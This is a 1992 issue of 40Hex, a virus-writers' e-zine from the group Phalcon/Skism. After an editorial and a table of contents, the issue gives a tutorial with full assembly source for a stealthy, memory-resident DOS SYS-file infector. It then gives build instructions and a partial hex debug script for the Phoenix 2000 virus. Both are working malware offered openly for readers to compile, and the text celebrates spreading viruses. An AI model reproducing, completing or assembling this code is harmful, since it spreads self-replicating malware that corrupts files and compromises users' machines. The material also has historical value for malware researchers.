40Hex Number 9 Volume 2 Issue 5                                       File 000

     Welcome to the ninth issue of 40 Hex!  This month brings lots of exciting
and neat-o stuff.  The feature article this month is Dark Angel's tutorial on
SYS infections.  As always, we have more virii news and more disassemblies and
yes, even more debug scripts.  A few quick notes:

     - Join PS/Net!  Contact your friendly neighborhood Phalcon/Skism sysop
       for details.

     - We have been copied extensively by virtually every virus group in
       existence and, with few exceptions, have not been given credit for
       our work.  It is getting tedious, to say the least, to reread what
       we have already written.  In the future, please don't be quite so
       lame.

     - Landfill is down again, but a new board, Liquid Euphoria, run by
       our newest member, Hawkmoon, has taken its place.  The board is
       stable and will not go down without warning, we promise!  Call it,
       love it, hold it as your own.  Special thanks to Hawkmoon for
       editing portions of 40Hex.

     - All are invited to contribute to 40Hex, be it in the form of an
       article, original virus, or whatever.  Contact a Phalcon/Skism
       board for details.

     - Finally, happy new year to all virus and anti-virus people everywhere!
       The new year promises to bring more nify innovations in both virii and
       viral toolkits from Phalcon/Skism.  Stay tuned.


                        40Hex-9 Table of contents
                            December 31, 1992

                File                          Description
             40Hex-9.000......................You Are Here!
             40Hex-9.001......................40Hex Editorial
             40Hex-9.002......................SYS Virii
             40Hex-9.003......................Phoenix 2000 Debug Dump
             40Hex-9.004......................More antidebugger techniques
             40Hex-9.005......................Virus Spotlite: 4096
             40Hex-9.006......................Nina disassembly
             40Hex-9.007......................A New Virus Naming Convention
             40Hex-9.008......................Code Optimization
             40Hex-9.009......................FirstStrike's Catfish virus


     Greets to:  All Phalcon/Skism members, FirstStrike, Apache Warrior,
                 [NuKE], ex-Senior Engineers of Data Plus, and virus writers
                 everywhere!

                                -)Gheap
40Hex Number 9 Volume 2 Issue 5                                       File 001


                             40-Hex Editorial:
                       VX:  What the Hell's happened?
                                by DecimatoR 

Please note, the opinions expressed herein are not necessarily those of all
the Phalcon/Skism members, and this article was not intentionally directed
towards one group or individual in particular.  


    1991:  The virus scene was almost nonexistent.  A handful of virus
boards populated the earth, the biggest being the Virus Exchange in 
Bulgaria.  In the US, only a very few boards had viruses.. and those which 
did ALL had less than 100.  If you had 80 viruses back then, you were God.  
Today, just one year later, if you have less than 800 you're LAME.  Viruses 
are everywhere.  Unfortunately, almost NONE of them are original.  They're 
all hacks of hacks of hacks of hacks, or else all cranked out by MPC or VCL,
the 2 virus generation programs in mass distribution.  No one (save a few) 
writes original code anymore.  The recent flood of lame viruses all prove 
that.  MPC and VCL account for over half of the "new" viruses released each
day - and ALL the viruses generated by those programs are scannable before 
they even get compiled.  So why do people keep using the programs?  Why 
create 30 viruses which all do the same thing, except maybe on a different 
day, or using a different text string?  Why?  I'll tell you why.  Because 
the kids using MPC and VCL are basically talentless programmers who think 
it's cool to stick their name in a program and pass it around.  They believe 
they'll achieve god-like fame in the underground by creating these little 
clones and changing a few bytes.  Are these people cool?  Hardly.  It takes 
true talent to create a virus.  It takes brains and skill to write a virus 
which will work as planned, avoid detection, and propagate itself.  The 
authors of MPC and VCL are very talented programmers.  Unfortunately, the
users of their programs are just the opposite.  REAL virus programmers have 
a desire to LEARN assembler - it's a test of their skill and ability.  The 
users of MPC and VCL don't have that desire.  They only have a desire for
recognition - and seeing their name in a virus is a massive ego trip for 
them.  Why?  They did nothing that any Joe Blow couldn't have done using a 
code generator.  If they REALLY want to prove how cool they are, let THEM 
write a damn virus generation program and release it.  THAT ALONE will show 
the world their skill and ability.  As for USING the program, well, I'm more 
impressed with a nicely formatted term paper using WordPerfect than I am 
with viruses created using MPC and VCL.  If you're one of the lame idiots 
who uses MPC or VCL for "writing" viruses, then listen up - those programs 
were written for 2 reasons - to prove the programmer could write such a 
thing, and to be used as a LEARNING TOOL for future virus writers - NOT to 
be abused the way they currently are.  Stop acting lame and actually CREATE 
an ORIGINAL virus for once, people!  And if you find that's impossible, then 
get the hell out of the scene and let the people who CAN program do it!

        Enough on that end.  Now it's time to bitch about the virus boards.  
These so called "elite" boards that have 1,255,443,453.7 viruses online for 
anyone to call up and leech.  These places where the little kiddies put 
thier newest MPC and VCL creation for all the other little kiddies, to show
how /<-RaD they are.  And as soon as one virus is put up, 300 people grab 
it, half of them send it off to other VX boards, and half ship it to the 
Anti-Virus boards.  What's the purpose?  The virus scene has become the same 
as the WAREZ SCENE!  Or, as Garbageheap puts it - Micro-Warez.

Micro-WareZ: n.   Viruses created by talentless individuals and passed 
                  around the way pirated software is. 
                  ie: "Hey D00dZ I got the newest MiCroWareZ from that
                       BBS in 404!!!  Now I'm up to 1,231,902!!!#!$@$~!"

Micro-Warez Pups: n. (pl) 1) Those individuals actively engaging in the 
                      collection, creation, and distribution of Micro-Warez.
                      2)  People who collect viruses simply because they 
                          want to have more than anyone else.  
                          See also: LAMERS

What's the point in these MicroWareZ (also known as VX) boards?  All the 
virus "authors" (I hate using that term - REAL virus authors don't frequent 
microwarez boards) anyway -all the virus authors send up their newest lame
little hacks, and in 15 minutes they're on all VX boards everywhere.  In 20 
minutes, the AV people are looking at them.  In 23 minutes the AV people 
have determined that the new Ware is just a lame little hack, and is already 
scannable by all virus scanners available.  In 23.2 minutes, the AV people 
have deleted the virus, and are back drinking coffee and chatting on the 
COMP.VIRUS Usenet echo, saying things like "Just found another lame little 
hack.  Nothing to worry about guys, not like this is anything new or 
ingenious or something.  My scanner catches it since July of 91."

        My point here is - WHAT THE HELL IS THE PURPOSE OF THIS?  AV people 
no longer have to wait for some unlucky infected soul to send them a copy of 
a new virus.  They simply call up the local VX board and download it before 
ANYONE gets infected.  Again I ask you - WHAT IS THE @*#$!%& PURPOSE?  It's 
not cool, it's not elite, its FUKKING STUPID!  Pardon the french.  The 
so-called Virus underground is no longer underground.  It's as open as 
the ANTI-VIRUS scene is.  Anyone can get anything they want, because NO ONE 
cares!  Everyone's got them, and anyone who wants them can find them.  The 
virus scene is no longer elite.  It's lamer then the warez scene is.  And 
it's a shame.  It once required talent and skill.  Now it requires the 
intelligence of a grapefruit...  well... not even that much.

        So the question remains - "Gee DecimatoR, if you're so against all 
this virus stuff, then what the hell are you doing in P/S?  Why do you run a 
virus board?"

        My answer:  I have a desire to LEARN, and MY board is private.  The 
number was changed, all users deleted, and only those with an interest in 
LEARNING will be allowed on.  Yes, I still have all the damn viruses.  Cause 
when the Gestapo decides it's time to make the creation, distribution, and 
possession of viruses illegal, I wanna be sure people will be able to find 
them somewhere.  I don't cater to microwarez pups, and I'm about as 
interested in the newest VCL creation as I am in the color of your undies.

Viruses illegal?  Yes, I'm sure they someday will be.  Unfortunately.  
Because when the Gestapo makes them illegal, it's taking away the rights of 
ALL Americans to freely create and use programs.  And that's the beginning
of the end of Democracy and American Freedom.  Anyway, that's enough bitching
for one day.  If I've pissed you off, good.  You're probably one of the 
lamers I was writing about.  If I haven't, well...  next time then.

           Till 40-Hex 10.....
                         
                             >   Peace   <

                                      --DecimatoR
40Hex Number 9 Volume 2 Issue 5                                       File 002

                   ооооооооооооооооооооооооооооооооооооооооо
                   An Introduction to Nonoverwriting Viruses
                            Part III: SYS Infectors
                                 By Dark Angel
                   ооооооооооооооооооооооооооооооооооооооооо
  
       The SYS  file is the most overlooked executable file structure in DOS.
  Viruses are  quite capable of infecting SYS files, as DOS kindly allows for
  such extensions to this file format.
  
       The SYS  file is loaded beginning at offset 0 of a particular segment.
  It consists  of a  header followed  by code.   SYS  files  may  be  chained
  together after  a simple  modification in  the header.   This is the key to
  infecting SYS files.
  
       There are  two types  of device  drivers; block  and character.  Block
  devices include  floppy, hard,  and virtual disks, i.e. any media which can
  store data.   Character devices include printers, modems, keyboard, and the
  screen.   The virus  will generally  be a  character device,  as it reduces
  complexity.
  
  The header structure is straightforward:
  
  Offset  Size  Description
  ------  ----  -----------
    0h    DWORD Pointer to next header
    4h    WORD  Attribute
    6h    WORD  Pointer to strategy routine
    8h    WORD  Pointer to interrupt routine
   0Ah    QWORD Name of the device driver
  
  The pointer  to the next device driver header appears at offset zero in the
  header.  This is a far pointer consisting of a segment:offset pair.  If the
  current device  is the  only device  appearing in  the SYS  file, then this
  pointer should  be set  to FFFF:FFFF.   However,  if there  are two or more
  device drivers contained in the file, then the offset field should be equal
  to the absolute location of the next device in the file.  The segment field
  should remain  FFFF.   For example,  if a  second device  driver occurs  at
  offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300  The
  second (and all other) device driver must contain a new header as well.
  
  The next  field contains  the attribute  of the  device  driver.    Bit  15
  determines the  nature of  the device  driver.   If bit 15 is set, then the
  device driver  header corresponds  to a  character device;  otherwise,  the
  device is  a block  device.   You need not concern yourself with any of the
  other bits; they may remain cleared.
  
  Before the  next two fields may be understood, it is necessary to introduce
  the concept  of the  request header.   The  request header  contains  DOS's
  requests of the device driver.  For example, DOS may ask for initialisation
  or a  read or  even a  status check.   The information needed by the device
  driver to interpret the request is all contained in the request header.  It
  is passed  to the  strategy routine  by DOS as a far pointer in ES:BX.  The
  job of the strategy routine is to save the pointer for use by the interrupt
  routine.   The interrupt  routine is  called by  DOS immediately  after the
  strategy routine.   This  routine processes  the request  in the header and
  performs the appropriate actions.
  
  The word-length  pointers in  the SYS  header to the strategy and interrupt
  routines are  relative to  the start  of the SYS file.  So, if the strategy
  routine resides  in absolute  offset  32h  in  the  file,  then  the  field
  containing the location of the strategy routine would hold the number 32h.
  
  The name  field in  the SYS header simply holds an 8 byte device name.  For
  example, 'NUL     '  and 'CLOCK$  '  are two  common DOS devices.  The name
  should be justified with space characters (0x20).
  
       By using  DOS's feature  of chaining  SYS files,  we may easily infect
  this type  of file.   No  bytes need to be saved.  There are but two steps.
  The first is to concatenate the virus to the target file.  The second is to
  alter the  first word  of the  SYS file  to point to the virus header.  The
  only trick  involved is  writing the  SYS interrupt routine.  The format of
  the request header is:
  
  Offset  Size  Description
  ------  ----  -----------
    0h    BYTE  Length of request header (in bytes)
    1h    BYTE  Unit code (for block devices)
    2h    BYTE  Command code
    3h    WORD  Status
    5h    QWORD Reserved by DOS
   0Dh    Var.  Data for the operation
  
       Only one  command code  is relevant  for  use  in  the  virus.    Upon
  initialisation of  the device driver, DOS will send a request header with 0
  in the  command code  field.  This is the initialisation check.  The format
  of the variable sized field in the request header in this case is:
  
  Offset  Size  Description
  ------  ----  -----------
   0Dh    BYTE  Number of units (ignored by character devices)
   0Eh    DWORD Ending address of resident program code
   12h    DWORD Pointer to BPB aray (ignored by character devices)
   16h    BYTE  Drive number (irrelevant in character devices)
  
       The only  relevant fields are at offset 3 and 0Eh.  Offset 3 holds the
  status word of the operation.  The virus fills this in with the appropriate
  value.   Generally, the virus should put a value of 100h in the status word
  in the  event of a successful request and a 8103h in the status word in the
  event of  a failure.   The 8103h causes DOS to think that the device driver
  does not  understand the  request.   A value of 8102h should be returned in
  the event  of a  failed installation.   Offset 0Eh will hold the address of
  the end  of the  virus (include  the heap!)  in the  event of  a successful
  installation and CS:0 in the event of a failure.
  
       Basically, the  strategy routine  of the virus should contain a simple
  stub to  save the  es:bx pointer.   The  interrupt routine  should fail all
  requests other  than initialisation.   It should perform an installation if
  the virus  is not  yet installed  and fail  if  it  is  already  in  memory
  (remember to set offset 0eh to cs:0).
  
  A sample  infector with very limited stealth features follows.  While it is
  somewhat large,  it may  be easily  coupled with a simple COM/EXE infection
  routine to  create a  powerful virus.   It  is a  SYS-only, memory resident
  infector.
  
  ---------------------------------------------------------------------------
  .model tiny
  .code
  org 0                           ; SYS files originate at zero
  ; SYS infector
  ; Written by Dark Angel of Phalcon/Skism
  ; for 40Hex
  header:
  
  next_header dd -1               ; FFFF:FFFF
  attribute   dw  8000h           ; character device
  strategy    dw  offset _strategy
  interrupt   dw  offset _interrupt
  namevirus   db  'SYS INF '      ; simple SYS infector
  
  endheader:
  
  author      db  0,'Simple SYS infector',0Dh,0Ah
              db    'Written by Dark Angel of Phalcon/Skism',0
  
  _strategy:  ; save es:bx pointer
          push    si
          call    next_strategy
  next_strategy:
          pop     si
          mov     cs:[si+offset savebx-offset next_strategy],bx
          mov     cs:[si+offset savees-offset next_strategy],es
          pop     si
          retf
  
  _interrupt:  ; install virus in memory
          push    ds                      ; generally, only the segment
          push    es                      ; registers need to be preserved
  
          push    cs
          pop     ds
  
          call    next_interrupt
  next_interrupt:
          pop     bp
          les     bx,cs:[bp+savebx-next_interrupt] ; get request header
  pointer
  
          mov     es:[bx+3],8103h         ; default to fail request
          cmp     byte ptr es:[bx+2], 0   ; check if it is installation
  request
          jnz     exit_interrupt          ; exit if it is not
  
          mov     es:[bx+10h],cs          ; fill in ending address value
          lea     si,[bp+header-next_interrupt]
          mov     es:[bx+0eh],si
          dec     byte ptr es:[bx+3]      ; and assume installation failure
  
          mov     ax, 0b0fh               ; installation check
          int     21h
          cmp     cx, 0b0fh
          jz      exit_interrupt          ; exit if already installed
  
          add     es:[bx+0eh],offset endheap ; fixup ending address
          mov     es:[bx+3],100h          ; and status word
  
          xor     ax,ax
          mov     ds,ax                   ; ds->interrupt table
          les     bx,ds:[21h*4]           ; get old interrupt handler
          mov     word ptr cs:[bp+oldint21-next_interrupt],bx
          mov     word ptr cs:[bp+oldint21+2-next_interrupt],es
  
          lea     si,[bp+int21-next_interrupt]
          cli
          mov     ds:[21h*4],si           ; replace int 21h handler
          mov     ds:[21h*4+2],cs
          sti
  exit_interrupt:
          pop     es
          pop     ds
          retf
  
  int21:
          cmp     ax,0b0fh                ; installation check?
          jnz     notinstall
          xchg    cx,ax                   ; mark already installed
  exitint21:
          iret
  notinstall:
          pushf
          db      9ah                     ; call far ptr  This combined with
  the
  oldint21 dd     ?                       ; pushf simulates an int 21h call
  
          pushf
  
          push    bp
          push    ax
  
          mov     bp, sp                  ; set up new stack frame
                                          ; flags         [bp+10]
                                          ; CS:IP         [bp+6]
                                          ; flags new     [bp+4]
                                          ; bp            [bp+2]
                                          ; ax            [bp]
          mov     ax, [bp+4]              ; get flags
          mov     [bp+10], ax             ; replace old flags with new
  
          pop     ax                      ; restore the stack
          pop     bp
          popf
  
          cmp     ah, 11h                 ; trap FCB find first and
          jz      findfirstnext
          cmp     ah, 12h                 ; FCB find next calls only
          jnz     exitint21
  findfirstnext:
          cmp     al,0ffh                 ; successful findfirst/next?
          jz      exitint21               ; exit if not
  
          push    bp
          call    next_int21
  next_int21:
          pop     bp
          sub     bp, offset next_int21
  
          push    ax                      ; save all registers
          push    bx
          push    cx
          push    dx
          push    ds
          push    es
          push    si
          push    di
  
          mov     ah, 2fh                 ; ES:BX <- DTA
          int     21h
  
          push    es                      ; DS:BX->DTA
          pop     ds
  
          cmp     byte ptr [bx], 0FFh     ; extended FCB?
          jnz     regularFCB              ; continue if not
          add     bx, 7                   ; otherwise, convert to regular FCB
  regularFCB:
          mov     cx, [bx+29]             ; get file size
          mov     word ptr cs:[bp+filesize], cx
  
          push    cs                      ; ES = CS
          pop     es
  
          cld
  
          ; The following code converts the FCB to an ASCIIZ string
          lea     di, [bp+filename]       ; destination buffer
          lea     si, [bx+1]              ; source buffer - filename
  
          cmp     word ptr [si],'OC'      ; do not infect CONFIG.SYS
          jz      bombout
  
          mov     cx, 8                   ; copy up to 8 bytes
  back:   cmp     byte ptr ds:[si], ' '   ; is it a space?
          jz      copy_done               ; if so, done copying
          movsb                           ; otherwise, move character to
  buffer
          loop    back
  
  copy_done:
          mov     al, '.'                 ; copy period
          stosb
  
          mov     ax, 'YS'
          lea     si, [bx+9]              ; source buffer - extension
          cmp     word ptr [si], ax       ; check if it has the SYS
          jnz     bombout                 ; extension and exit if it
          cmp     byte ptr [si+2], al     ; does not
          jnz     bombout
          stosw                           ; copy 'SYS' to the buffer
          stosb
  
          mov     al, 0                  ; copy null byte
          stosb
  
          push    ds
          pop     es                      ; es:bx -> DTA
  
          push    cs
          pop     ds
  
          xchg    di,bx                   ; es:di -> DTA
                                          ; open file, read/only
          call    open                    ; al already 0
          jc      bombout                 ; exit on error
  
          mov     ah, 3fh                 ; read first
          mov     cx, 2                   ; two bytes of
          lea     dx, [bp+buffer]         ; the header
          int     21h
  
          mov     ah, 3eh                 ; close file
          int     21h
  
  InfectSYS:
          inc     word ptr cs:[bp+buffer] ; if first word not FFFF
          jz      continueSYS             ; assume already infected
                                          ; this is a safe bet since
                                          ; most SYS files do not have
                                          ; another SYS file chained on
  
  alreadyinfected:
          sub     es:[di+29], heap - header ; hide file size increase
                                          ; during a DIR command
                                          ; This causes CHKDSK errors
         ;sbb     word ptr es:[di+31], 0  ; not needed because SYS files
                                          ; are limited to 64K maximum
  
  bombout:
          pop     di
          pop     si
          pop     es
          pop     ds
          pop     dx
          pop     cx
          pop     bx
          pop     ax
          pop     bp
          iret
  
  continueSYS:
          push    ds
          pop     es
  
          lea     si, [bp+offset header]
          lea     di, [bp+offset bigbuffer]
          mov     cx, offset endheader - offset header
          rep     movsb
  
          mov     cx, cs:[bp+filesize]
          add     cx, offset _strategy - offset header  ; calculate offset to
          mov     word ptr [bp+bigbuffer+6],cx            ; strategy routine
  
          add     cx, offset _interrupt - offset _strategy;calculate offset to
          mov     word ptr cs:[bp+bigbuffer+8], cx        ; interrupt routine
  
  continueinfection:
          mov     ax, 4300h               ; get file attributes
          lea     dx, [bp+filename]
          int     21h
  
          push    cx                      ; save attributes on stack
          push    dx                      ; save filename on stack
  
          mov     ax, 4301h               ; clear file attributes
          xor     cx, cx
          lea     dx,[bp+filename]
          int     21h
  
          call    openreadwrite
  
          mov     ax, 5700h               ; get file time/date
          int     21h
          push    cx                      ; save them on stack
          push    dx
  
          mov     ah, 40h                 ; write filesize to the old
          mov     cx, 2                   ; SYS header
          lea     dx, [bp+filesize]
          int     21h
  
          mov     ax, 4202h               ; go to end of file
          xor     cx, cx
          cwd                             ; xor dx, dx
          int     21h
  
          mov     ah, 40h                 ; concatenate header
          mov     cx, offset endheader - offset header
          lea     dx, [bp+bigbuffer]
          int     21h
  
          mov     ah, 40h                 ; concatenate virus
          mov     cx, offset heap - offset endheader
          lea     dx, [bp+endheader]
          int     21h
  
          mov     ax, 5701h               ; restore file time/date
          pop     dx
          pop     cx
          int     21h
  
          mov     ah, 3eh                 ; close file
          int     21h
  
          mov     ax, 4301h               ; restore file attributes
          pop     cx
          pop     dx
          int     21h
  
          jmp     bombout
  
  openreadwrite:
          mov     al, 2                   ; open read/write mode
  open:   mov     ah, 3dh
          lea     dx,[bp+filename]
          int     21h
          xchg    ax, bx                  ; put handle in bx
          ret
  
  heap:
  savebx   dw      ?
  savees   dw      ?
  buffer   db      2 dup (?)
  filename db     13 dup (?)
  filesize dw     ?
  bigbuffer db    offset endheader - offset header dup (?)
  endheap:
  
  end header
  ---------------------------------------------------------------------------
  
       The reason the "delta offset" is needed throughout the file is because
  it is  impossible to  know the  exact location  where the  SYS file will be
  loaded into memory.  This can be ameliorated by some file padding and fancy
  mathematical calculations.
  
       The advantages of using SYS files are manyfold.  There is no load high
  routine involved  apart from  the strategy/interrupt  routines.  This saves
  space.   SYS files  also generally  load before  TSR virus  checkers.   TSR
  checkers also  can't detect the residency routine of the virus, since it is
  a normal part of the DOS loading process.  The routine for the infection of
  the SYS  file is ridiculously easy to implement and takes remarkably little
  space, so  there is  no reason  not to  include  SYS  support  in  viruses.
  Finally, the  memory "loss"  reported by  CHKDSK  usually  associated  with
  memory resident viruses is not a problem with SYS files.
  
       A SYS  file infector,  when  combined  with  a  COM  and  EXE  general
  infector, can  lead to  a powerful  virus.   Once the  first  SYS  file  is
  infected, the infected system becomes extremely vulnerable to the virus, as
  there is  little the user can  do to prevent the virus  from running, short
  of a clean boot.
40Hex Number 9 Volume 2 Issue 5                                       File 003


Below is the debug script for the Phoenix 2000 virus.  Let's see what Patti
Hoffman's VSUM has to say about it:

                                 Phoenix 2000
 
 Virus Name:  Phoenix 2000 
 Aliases:    
 V Status:    Rare
 Discovered:  December, 1991
 Symptoms:    .COM file growth; .EXE files altered; TSR; decrease in total
              system and available free memory
 Origin:      Bulgaria
 Eff Length:  2,000 Bytes
 Type Code:   PRshAK - Parasitic Resident .COM & .EXE Infector
 Detection Method:  ViruScan, AVTK 5.54+, UTScan 22.00+
 Removal Instructions:  Delete infected files

 General Comments:
       The Phoenix 2000 virus was received from The Netherlands in December,
       1991, where it was uploaded to several BBSes by a person identifying
       themself as "Dark Avenger".  This virus originated in Bulgaria, and
       is closely related to the earlier V82 virus.  Phoenix 2000 is a
       memory resident infector of .COM and .EXE files, as well as
       COMMAND.COM.

       The first time a program infected with Phoenix 2000 is executed, the
       Phoenix 2000 virus will become memory resident at the top of system
       memory but below the 640K DOS boundary.  It will also install a
       small TSR in low system memory of 112 bytes.  The virus at the top
       of system memory is 8,192 bytes in size, this is the amount total
       system memory as indicated by the DOS CHKDSK program will decrease
       by.  The decrease in available free memory will be slightly more.
       The Phoenix 2000 virus hooks interrupt 2A.  Interrupt 12's return
       will not have been moved.

       Once Phoenix 2000 is memory resident, it will infect .COM and .EXE
       programs, including COMMAND.COM, when they are opened, executed,
       copied, or accessed in any way.  While it will always infect .COM
       files, .EXE files are only successfully infected if they contain
       2,000 bytes of binary 00 characters in a continuous block.  If the
       2,000 bytes of binary 00 characters do not exist, the file may be
       partially infected, but will not be replicating copy of the virus.

       .COM programs, other than COMMAND.COM, will have a file length
       increase of 2,000 bytes with the virus being located in the middle
       or end of the infected file.  Phoenix 2000 is unable to identify
       previous infections of itself on infected .COM files, so they
       may become reinfected by Phoenix 2000, adding an additional 2,000
       bytes to the file for each reinfection.  There will be no change
       to the file's date and time in the DOS disk directory listing.

       COMMAND.COM and .EXE files will not have a file length increase when
       they are infected with the Phoenix 2000 virus.  In these two cases,
       the virus will overwrite 2,000 bytes of binary 00 characters within
       the file with the virus code.  For .EXE files with less than 2,000
       bytes of binary 00 characters, the file will be partially infected
       and may not function properly as a result.

To create the virus, simply copy the script below to a file called
"Phoenix.lst" and type:
        debug < phoenix.lst > nul
                                                Dark Angel
-------------------------------------------------------------------------------
n phoenix.com
e 0100  E8 00 00 5E 95 B9 D6 03 51 8B FE 33 D2 2E 33 54 
e 0110  1F 46 46 49 79 F7 58 2E 31 55 1F 47 47 48 79 F7 
e 0120  87 C9 87 F6 87 D2 FA 81 C6 4F F8 1E E8 86 01 8E 
e 0130  C7 4F 26 3B 5D 78 74 0F 80 6D 02 02 1F 1E 80 EF 
e 0140  02 3B 1D 73 02 89 1D 83 C7 76 B8 D5 06 AB 8B C3 
e 0150  AB 06 1F B9 00 20 B0 2E F2 AE 81 3D FF 1E 75 F8 
e 0160  8B 7D 02 81 C7 D0 06 B8 59 07 AB 93 AB FF 75 FA 
e 0170  FF 75 F8 0E 1F 8B DE 8A FB 03 9C 57 01 56 8E C0 
e 0180  33 FF B9 22 00 8B C6 3A C3 74 02 3A C7 AC 74 01 
e 0190  AA E2 F2 AF B9 D9 03 F3 A5 5E 58 AB 58 AB 92 48 
e 01A0  AB 51 B2 80 B4 08 9C 26 FF 5D FA 58 AA 72 0C 80 
e 01B0  FA 02 73 05 80 FE 04 72 02 B4 FE AB 07 FB 56 81 
e 01C0  C6 4A 01 B9 E8 03 EB 49 E8 EA 00 8E DF 3B 5D 77 
e 01D0  74 2D BF 4C 00 C4 5D D0 B4 13 CD 2F 06 B0 F5 E6 
e 01E0  60 33 C0 E6 61 8E C0 93 AB 58 AB BA 80 00 B9 01 
e 01F0  00 B8 11 03 CD 13 FE C5 75 F7 80 C1 40 EB F2 95 
e 0200  E8 00 00 5E 83 C6 C5 56 0E 1F 81 C6 82 00 B9 80 
e 0210  00 BF FD 00 8C DA 01 54 0B 3B 54 0B 75 3B A5 A4 
e 0220  A5 A5 5F AD 8B DE 8B F0 06 1F 2E FF 2F F3 A5 96 
e 0230  8B F9 C6 05 4D 89 55 03 42 26 29 55 03 B4 50 CD 
e 0240  21 0E 1F 8E C3 8D 5C 09 EB DE F3 AA 95 00 00 00 
e 0250  00 C3 C3 FD 00 00 00 21 20 03 54 07 8B 4C 03 56 
e 0260  8B 74 05 E3 0C AD 93 AD 03 C2 8E C0 26 01 17 E2 
e 0270  F4 8E C2 AD 91 E3 07 AD 93 26 01 17 E2 F9 8C C0 
e 0280  80 C4 10 8E C0 33 C2 75 EA 5E B1 11 8C DB 2B D3 
e 0290  2B D9 8E DB 8B FA 2B F9 B1 04 D3 E7 83 EF 0F 43 
e 02A0  3B F7 73 9D 4A 03 DA 8E C3 43 96 89 5C 01 8B FE 
e 02B0  B1 88 E9 78 FF FC BF 03 00 8C DB 4B 8E DB 43 03 
e 02C0  1D 80 7D FD 5A 75 F5 C3 72 FD 50 B8 20 12 CD 2F 
e 02D0  72 0A 53 26 8A 1D B8 16 12 CD 2F 5B 5E 72 E8 06 
e 02E0  1F C6 45 02 02 FF 75 05 33 C0 87 45 17 50 33 C0 
e 02F0  87 45 15 50 56 BA 03 04 B1 80 84 75 04 75 39 80 
e 0300  FD 3E 75 05 BA 02 00 B1 C0 22 4D 05 75 2B 2E 89 
e 0310  16 DD 07 8B 45 28 3D 45 58 74 13 3D 43 4F 75 13 
e 0320  3B 45 20 B8 4D 4D 75 06 3B 45 22 75 01 41 3A 45 
e 0330  2A 74 09 80 FD 4B 74 04 F9 E9 A8 02 51 0E 1F BA 
e 0340  C5 17 B9 1A 00 B4 3F CD 21 33 C8 F9 75 4D 8B F2 
e 0350  AD 3D 4D 5A 74 4A 3D 5A 4D 74 45 26 3B 4D 13 F9 
e 0360  75 39 A3 4D 01 AD A3 4F 01 26 8B 45 11 2D 10 08 
e 0370  72 29 26 89 45 15 50 E8 A4 02 72 1D 8B F2 8B 04 
e 0380  A3 51 01 B5 AB 88 2E 4B 01 32 C4 75 0C 50 E8 7C 
e 0390  02 58 72 05 AC 32 C4 E1 FB 91 5A 59 72 9B 74 2A 
e 03A0  74 42 84 C9 75 92 33 F6 3D D2 06 72 1D 26 8A 45 
e 03B0  12 F6 D0 A8 38 74 81 58 50 86 C4 33 D2 26 8B 75 
e 03C0  11 83 EE 03 F7 F6 83 C2 03 49 51 26 89 55 15 8B 
e 03D0  C2 2D 03 00 C6 06 C5 17 E9 A3 C6 17 B9 FD 00 33 
e 03E0  C0 E9 18 01 8B 44 16 26 89 45 15 B1 04 E8 30 02 
e 03F0  72 A9 D1 E8 87 44 06 48 48 A3 51 01 01 44 0C 01 
e 0400  44 14 40 40 B1 10 3A E1 F5 72 90 F7 E1 87 54 04 
e 0410  8B CA D1 E2 D1 E2 03 54 16 2B C2 72 EC 83 7C 0A 
e 0420  00 74 0F 50 2D F2 07 73 17 D1 E0 03 D0 72 11 2B 
e 0430  D0 58 2D 22 01 73 06 D1 E0 03 D0 73 CB 33 C0 50 
e 0440  8B 44 16 2B D0 5E 72 C1 56 80 E2 FC 03 D0 26 89 
e 0450  55 15 2B D0 D1 EA D1 EA BE E5 07 56 2D 20 00 73 
e 0460  0A 83 EE 04 05 04 00 4A 79 01 42 89 16 4D 01 2B 
e 0470  CA 73 02 33 C9 A3 4F 01 5A 51 D1 E1 D1 E1 75 09 
e 0480  3B F2 74 05 26 80 45 15 04 B4 3F CD 21 59 72 56 
e 0490  26 29 45 15 57 53 BF DF 17 32 D2 51 56 57 AF 57 
e 04A0  E3 23 AD 8B F8 AD D1 C0 D1 C0 D1 C0 D1 C0 8B D8 
e 04B0  80 E3 F0 03 DF 14 00 24 0F 3A C2 75 06 5F 89 1D 
e 04C0  47 47 57 E2 DD 58 5B 5E 59 8B F8 2B C3 D1 E8 48 
e 04D0  89 07 42 80 FA 10 75 C3 5B 5F BA DF 17 D1 E1 83 
e 04E0  C1 20 B4 40 CD 21 5E 59 72 7E 51 26 8B 4D 15 83 
e 04F0  E9 20 33 C0 87 0E D9 17 87 06 DB 17 89 0E 53 01 
e 0500  A3 55 01 59 58 41 56 52 51 53 33 D2 B9 90 00 F7 
e 0510  F1 E8 40 01 A3 14 00 E8 3A 01 A3 1E 00 92 B2 06 
e 0520  F6 F2 BE E1 07 E8 00 01 BB D8 05 E8 06 01 BB E0 
e 0530  07 BE AC 05 B9 26 00 AC 24 3F 74 1F 50 24 07 D7 
e 0540  B4 F8 92 58 51 B1 03 D2 E8 74 07 D7 D2 E0 0A D0 
e 0550  B6 C0 59 20 B4 53 FA 08 94 53 FA E2 DA 91 5B 59 
e 0560  5E 84 C9 75 26 E8 A5 00 72 77 91 26 03 45 11 2B 
e 0570  C1 26 89 45 15 FE C4 A3 51 01 C6 06 4B 01 A5 B4 
e 0580  40 CD 21 33 C1 75 5A 26 89 75 15 06 57 99 A3 57 
e 0590  01 96 EC 24 1F 91 EC 24 1F 1E 07 BF E1 07 F6 84 
e 05A0  AC 05 80 74 04 E8 B6 00 91 A4 81 FE 20 00 75 EE 
e 05B0  E8 AB 00 AD B9 D7 03 AD 33 06 D8 07 33 D0 AB E2 
e 05C0  F6 33 54 08 31 55 E0 5F 07 5E 56 B4 40 E8 3F 00 
e 05D0  33 C8 75 0D 26 89 4D 15 BA C5 17 B1 18 B4 40 CD 
e 05E0  21 B5 3E F9 58 06 1F 8F 45 15 8F 45 17 73 11 8A 
e 05F0  45 0D F6 D0 A8 1F 74 08 80 4D 0D 1F 80 65 05 BF 
e 0600  58 0A C4 24 40 08 45 06 B4 3E CD 21 C3 B4 3F B9 
e 0610  00 01 BA C8 00 85 F6 74 0C B9 D0 07 EB 04 B1 02 
e 0620  B4 3F BA E1 07 CD 21 C3 BB D2 05 E8 08 00 88 04 
e 0630  46 BB D5 05 8A C4 D0 E8 8A D0 50 14 01 3C 03 72 
e 0640  02 2C 03 0A D0 D7 88 04 46 58 D7 88 04 46 8A C2 
e 0650  34 03 D7 C3 D1 EA B8 79 F7 73 02 0C 04 C3 E8 01 
e 0660  00 91 98 3C 02 73 02 B0 02 3B F0 76 3E 8D 45 1F 
e 0670  8A 26 57 01 A3 57 01 48 3A C4 B0 90 AA 75 14 EC 
